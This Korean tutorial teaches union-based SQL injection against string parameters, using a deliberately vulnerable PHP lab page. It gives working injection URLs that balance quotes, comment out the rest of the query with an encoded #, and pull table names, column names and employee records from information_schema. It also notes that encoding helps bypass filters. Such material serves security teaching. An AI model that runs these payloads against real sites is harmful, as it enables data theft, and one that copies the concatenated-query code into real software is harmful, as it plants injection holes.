[SQL INJECTION] Union 기반 SQL : 문자형 데이터

Union 기반 SQL : 문자형 데이터 







싱글 쿼터의 사용유무

숫자형 변수는 공격 구문을 주입하면 쿼리 구문에 그대로 대입되지만 , 문자형 데이터는 공격구문이 싱글쿼터 사이에 대입됩니다 . 
공격 구문을 쿼리문으로 사용하기위해는 이스케이프 문자에 해당되는 싱글 쿼터가 필요합니다 .


추가 삽입한 싱글쿼터로 인한 에러를 예방하기 위해서는 싱글쿼터 쌍에 문제가 없도록 하거나, 주석 문자를 이용하여 잔여 쿼리를 주석처리 해야합니다 . 

문자열 타입에 비하면 숫자형은 쿼리 주입을 통한 조작이 상대적으로 수월하다고 할 수 있습니다 .


실습 예제 코드
<?php

if (!$link = mysql_connect('localhost', 'root', 'root')) {
    echo 'Could not connect to mysql';
    exit;
}

if (!mysql_select_db('northwind', $link)) {
    echo 'Could not select database';
    exit;
}

$_empname  = $_GET['empname'];
$sql    = 'SELECT * FROM Employees WHERE FirstName like \'%' . $_empname . '%\'';
$result = mysql_query($sql, $link);

if (!$result) {
    echo "DB Error, could not query the database\n";
    echo 'MySQL Error: ' . mysql_error();
    exit;
}

print "<table border=1 cellpadding=5 cellspacing=0>\n";
print "\t<tr>\n\t\t<td>Employee ID</td><td>First Name</td><td>Title</td>
<td>Hire Date</td>\n\t</tr>";

while ($row = mysql_fetch_assoc($result)) {
    print "\t<tr>\n\t\t<td>" . $row['EmployeeID'] .
"</td><td>" . $row['FirstName'] . "</td><td>" . $row['Title'] .
"</td><td>" . $row['HireDate'] . "</td>\n\t</tr>\n";
}
print "</table>\n";

mysql_free_result($result);
?>





접속결과
















SQL인젝션의 취약점이 존재하는지 확인하는 방법으로 싱글쿼터를 먼저 삽입합니다 .








DB에러를 통해 입력한 싱글쿼터가 SQL에 주입된다는 사실을 확인할 수 있습니다. 
SQL 인젝션 탐지 키워드로 싱글쿼터를 사용하는 이유는 문자형 데이터는 싱글쿼터의 쌍으로 감싸져있기 때문에 싱글 쿼터를 홀수로 사용하면 DB에서 에러가 발생합니다. 


1. 싱글쿼터를 짝수로 삽입하여 쌍 유지하기

싱글 쿼터 쌍 유지 방법으로 파라미터의 값을 조작할 때 싱글쿼터 쌍에 문제가 없도록 다음과 같이 짝수로 주입하는 방법입니다 . 

 
http://============/empinfo_name.php?empname='and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+dual+where+1+or' '='












문자형 데이터의 경우 주입한 쿼리문이 대입된 위치의 뒤쪽 잔여 쿼리의 간섭이 항상 발생하기 때문에 두번째 주석 처리 방식을 더 선호하게 됩니다 . 

그러나 이 후에 학습할 Error 기반 또는 블라인드 SQL 인젝션에는 싱글쿼터를 짝수로 삽입하여 쌍을 유지하는 방법을 더 많이 사용합니다 .

2. 주석 처리를 이용한 쌍 유지 
 
주석 키워드를 이용하여 소스코드에 정적으로 코딩된 싱글 쿼터를 무효화 시켜 쌍으로 유지하는 방법입니다 . 
문자형 데이터에 다음과 같이 단일 싱글 쿼터와 쿼리문을 삽입하고 정적 코딩된 싱글쿼터는 주석 처리합니다 . 

http://=======/empinfo_name.php?empname=%27and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+dual#






오류가 발생하는 원인은 # 주석 키워드가 URL의 북마크 예약어이기 때문입니다. 
북 마크는 현재페이지에서 웹브라우저의 스크롤바를 북 마크 표식으로 이동 시키는 용도로 사용됩니다 .



HTTP 프로토콜 데이터 전송 방식 


 
GET 방식과 POST 방식

GET : 서버에게 조회할 리소스를 요청합니다. (READ)
POST : 서버에게 본문(body)에 생성할 데이터를 삽입하여 전송합니다. (CREATE)


GET과 POST 방식은 데이터를 전송할 때 프로토콜 규약에 예약어로 등록된 키워드는 사용할 수 없습니다. 
예약된 키워드를 문자데이터로 사용하려면 URL 인코딩을 적용합니다.

그러나 POST의 "multipart/from-data" 방식은 데이터 구분자를 별도로 사용하기 때문에 URL인코딩은 불필요합니다 . 























  • 취약한 예제는 GET 방식의 예제로 인코딩에 민감하게 대처해야 합니다 . 
  • 인코딩을 잘활용하면 필터링 우회 기술로 활용이 가능합니다 . 
# 을 예약어로 사용하기 위해서는 URL 인코딩 값인 %23을 삽입합니다. 










UNION 기반 SQL 인젝션에서는 대부분 두 번째 주석 처리 방식을 이용합니다 . 

다음에는 간략한 데이터 획득 방법을 알아보겠습니다 . 

테이블명 획득하기
http://192.168.85.128/empinfo_name.php?empname=%27and+1=2+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+information_schema.tables+where+table_type=%27base+table%27%23





























컬럼명 획득하기 

http://192.168.85.128/empinfo_name.php?empname=%27and+1=2+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+information_schema.columns+where+table_name=%27Employees%27%23



















EmployeeID, FirstName, HireDate, Address 데이터 획득 

 http://192.168.85.128/empinfo_name.php?empname=%27and+1=2+union+select+1,2,3,concat_ws(%27,%27,employeeid,firstname,hiredate,address)%20,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+Employees%23
















  • 데이터 획득을 위해 concat_ws 함수를 사용했습니다 . 
  • concat_ws는 문자열을 합칠 때 사용하는 함수 입니다 . 
  • 첫번째 인자 값이 모든 컬럼의 데이터 구분자로 삽입되었습니다 . 
  • 여러 error 기반 SQL 인젝션에 사용되는 함수 입니다 

댓글